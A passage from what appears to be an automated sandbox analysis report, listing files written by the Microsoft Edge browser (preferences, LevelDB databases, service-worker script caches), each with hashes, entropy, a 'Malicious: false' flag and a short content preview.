SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13802
Entropy (8bit):	5.229149102230844
Encrypted:	false
SSDEEP:	192:stAJ99QTryDiuabatSuypis5UsZihUkSJzNuPkw8InbV+F++Qwg66WDaFIMYzPJ8:stAPGQSu4is5UfhdbG/QwR6WDaTYS
MD5:	4A7FB04711067AFA9194A64F05AEBF20
SHA1:	860D21154C83C06A6038899CB13A040E092C8004
SHA-256:	7644AD024FC36B371C44D8D9D89FA623C3B65726239581FE3F2ABDF6897662B3
SHA-512:	55095584DFBA2AC4A41647ED4946216C766A060933147968ED367D37261C1E84F4EB4AB224615DFDA38F8CA8975E5DD67436CA53BE42A8D2D0DD4F5D2C61DFC6
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3baf4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13802
Entropy (8bit):	5.229149102230844
Encrypted:	false
SSDEEP:	192:stAJ99QTryDiuabatSuypis5UsZihUkSJzNuPkw8InbV+F++Qwg66WDaFIMYzPJ8:stAPGQSu4is5UfhdbG/QwR6WDaTYS
MD5:	4A7FB04711067AFA9194A64F05AEBF20
SHA1:	860D21154C83C06A6038899CB13A040E092C8004
SHA-256:	7644AD024FC36B371C44D8D9D89FA623C3B65726239581FE3F2ABDF6897662B3
SHA-512:	55095584DFBA2AC4A41647ED4946216C766A060933147968ED367D37261C1E84F4EB4AB224615DFDA38F8CA8975E5DD67436CA53BE42A8D2D0DD4F5D2C61DFC6
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40914.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13802
Entropy (8bit):	5.229149102230844
Encrypted:	false
SSDEEP:	192:stAJ99QTryDiuabatSuypis5UsZihUkSJzNuPkw8InbV+F++Qwg66WDaFIMYzPJ8:stAPGQSu4is5UfhdbG/QwR6WDaTYS
MD5:	4A7FB04711067AFA9194A64F05AEBF20
SHA1:	860D21154C83C06A6038899CB13A040E092C8004
SHA-256:	7644AD024FC36B371C44D8D9D89FA623C3B65726239581FE3F2ABDF6897662B3
SHA-512:	55095584DFBA2AC4A41647ED4946216C766A060933147968ED367D37261C1E84F4EB4AB224615DFDA38F8CA8975E5DD67436CA53BE42A8D2D0DD4F5D2C61DFC6
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF47e44.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13802
Entropy (8bit):	5.229149102230844
Encrypted:	false
SSDEEP:	192:stAJ99QTryDiuabatSuypis5UsZihUkSJzNuPkw8InbV+F++Qwg66WDaFIMYzPJ8:stAPGQSu4is5UfhdbG/QwR6WDaTYS
MD5:	4A7FB04711067AFA9194A64F05AEBF20
SHA1:	860D21154C83C06A6038899CB13A040E092C8004
SHA-256:	7644AD024FC36B371C44D8D9D89FA623C3B65726239581FE3F2ABDF6897662B3
SHA-512:	55095584DFBA2AC4A41647ED4946216C766A060933147968ED367D37261C1E84F4EB4AB224615DFDA38F8CA8975E5DD67436CA53BE42A8D2D0DD4F5D2C61DFC6
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF56c00.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13802
Entropy (8bit):	5.229149102230844
Encrypted:	false
SSDEEP:	192:stAJ99QTryDiuabatSuypis5UsZihUkSJzNuPkw8InbV+F++Qwg66WDaFIMYzPJ8:stAPGQSu4is5UfhdbG/QwR6WDaTYS
MD5:	4A7FB04711067AFA9194A64F05AEBF20
SHA1:	860D21154C83C06A6038899CB13A040E092C8004
SHA-256:	7644AD024FC36B371C44D8D9D89FA623C3B65726239581FE3F2ABDF6897662B3
SHA-512:	55095584DFBA2AC4A41647ED4946216C766A060933147968ED367D37261C1E84F4EB4AB224615DFDA38F8CA8975E5DD67436CA53BE42A8D2D0DD4F5D2C61DFC6
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376157380864573","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PriceComparison\PriceComparisonAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561235757352365
Encrypted:	false
SSDEEP:	768:TMXA3L7pLGLpAyWPi4ffA8F1+UoAYDCx9Tuqh0VfUC9xbog/OVE6Lsbk1rwlk1uV:TMXA3dcpAyWPi4ffAu1jaB6Lck+lk1uV
MD5:	F7462467411254FA555CEA290B0808AD
SHA1:	8E0F25A8498103B58AA28A734D31326209107953
SHA-256:	23DD408E036BEBE72723D14D31D0BB0E52F0194E2A8721A24F31F16D792E0046
SHA-512:	81D45E0D80233C9B1274D764BE95EA875967379F0FBC5855548DC143FB4D0A05DD08C35DC43A7A8C7E9AAA14791CC9EDFF493FD02CD9202E25003EDB696EC5F3
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376157380281616","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376157380281616","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e0fb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561235757352365
Encrypted:	false
SSDEEP:	768:TMXA3L7pLGLpAyWPi4ffA8F1+UoAYDCx9Tuqh0VfUC9xbog/OVE6Lsbk1rwlk1uV:TMXA3dcpAyWPi4ffAu1jaB6Lck+lk1uV
MD5:	F7462467411254FA555CEA290B0808AD
SHA1:	8E0F25A8498103B58AA28A734D31326209107953
SHA-256:	23DD408E036BEBE72723D14D31D0BB0E52F0194E2A8721A24F31F16D792E0046
SHA-512:	81D45E0D80233C9B1274D764BE95EA875967379F0FBC5855548DC143FB4D0A05DD08C35DC43A7A8C7E9AAA14791CC9EDFF493FD02CD9202E25003EDB696EC5F3
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376157380281616","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376157380281616","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114124
Entropy (8bit):	5.579648692435879
Encrypted:	false
SSDEEP:	1536:Aa906yxPXfOrr1lhCe1nL/rmL/rSZXsCjaWNcHrZIHzy8P:79LyxPXfOrr1lMe1nL/CL/SXsA8cWq
MD5:	A71BD2CFCE498D0EC23E4D98C7D577E9
SHA1:	23C386BD1C77EA8EDA22970887D1B14DD6B548D1
SHA-256:	936FE4353C5F8D5515503746938239A5A17BA137722130F27AE93D2FF8F0EDAE
SHA-512:	8B1F676F1352394D7C1EFC097867FC6D8748E0E909C39EA25AF948DC7BDDFA47DCE8480E839E230D4695096E14C1F3C7331249ACD1FB1CDE99210ECF4432A0B5
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188385
Entropy (8bit):	6.382433498194479
Encrypted:	false
SSDEEP:	3072:2gNpjajbTkbgwUb3JzCL/Y9M+pL2JGhZxdhu4O:lNxgw+JeL/gpcJSSh
MD5:	2D787DB0AB34EE8126B40499AB8A84AD
SHA1:	6CCCD729748B25D8106960EC4FD2092A24EBD1FB
SHA-256:	1FCACB9EADFCA819E11B971D7CB6E20580E3368C66B7E81854F5E9A50A1FB495
SHA-512:	11CA0959AADED523B36DCF739ED845920A3FF0E4D41DA9762473648033E88441E56721E0FA2F6A1E65CCDFC6A065318110BF5239C9AD2AE85C66CD73BFD8F05E
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0....z3.................;....x..........,T.8..`,.....L`.....,T...`......L`......RcV.B.....exports...Rc.......module....Rc.Y......define....Rb.c......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...knb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....W...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:IPNAyXl/l9/lln/lxE0tllV/llUJjl:I120Udl
MD5:	C2E71562D502A4FACA4C8BD72706F634
SHA1:	8C30FB3EADEEB5B1313A061DC8E73EB2EA6F3015
SHA-256:	735B236016CA171A77787ED7CC917375194A2DD3681A08122F52510FE457D9A2
SHA-512:	70A15DE86158B318998E7982586D8123AD4A9C74D15540B2AD42792788B1449E561657A35094202E03E70DDBE9EF69473D46B2D90780D7B9F3B02323969CB16A
Malicious:	false
Reputation:	unknown
Preview:	@....eC.oy retne.........................X....,.................L.U../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:IPNAyXl/l9/lln/lxE0tllV/llUJjl:I120Udl
MD5:	C2E71562D502A4FACA4C8BD72706F634
SHA1:	8C30FB3EADEEB5B1313A061DC8E73EB2EA6F3015
SHA-256:	735B236016CA171A77787ED7CC917375194A2DD3681A08122F52510FE457D9A2
SHA-512:	70A15DE86158B318998E7982586D8123AD4A9C74D15540B2AD42792788B1449E561657A35094202E03E70DDBE9EF69473D46B2D90780D7B9F3B02323969CB16A
Malicious:	false
Reputation:	unknown
Preview:	@....eC.oy retne.........................X....,.................L.U../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF3e550.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:IPNAyXl/l9/lln/lxE0tllV/llUJjl:I120Udl
MD5:	C2E71562D502A4FACA4C8BD72706F634
SHA1:	8C30FB3EADEEB5B1313A061DC8E73EB2EA6F3015
SHA-256:	735B236016CA171A77787ED7CC917375194A2DD3681A08122F52510FE457D9A2
SHA-512:	70A15DE86158B318998E7982586D8123AD4A9C74D15540B2AD42792788B1449E561657A35094202E03E70DDBE9EF69473D46B2D90780D7B9F3B02323969CB16A
Malicious:	false
Reputation:	unknown
Preview:	@....eC.oy retne.........................X....,.................L.U../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\03b757dd-c2d3-4133-a3ca-c8e215b1bed1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\04dd1990-5eb3-439a-89c3-dc6dfc134a25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
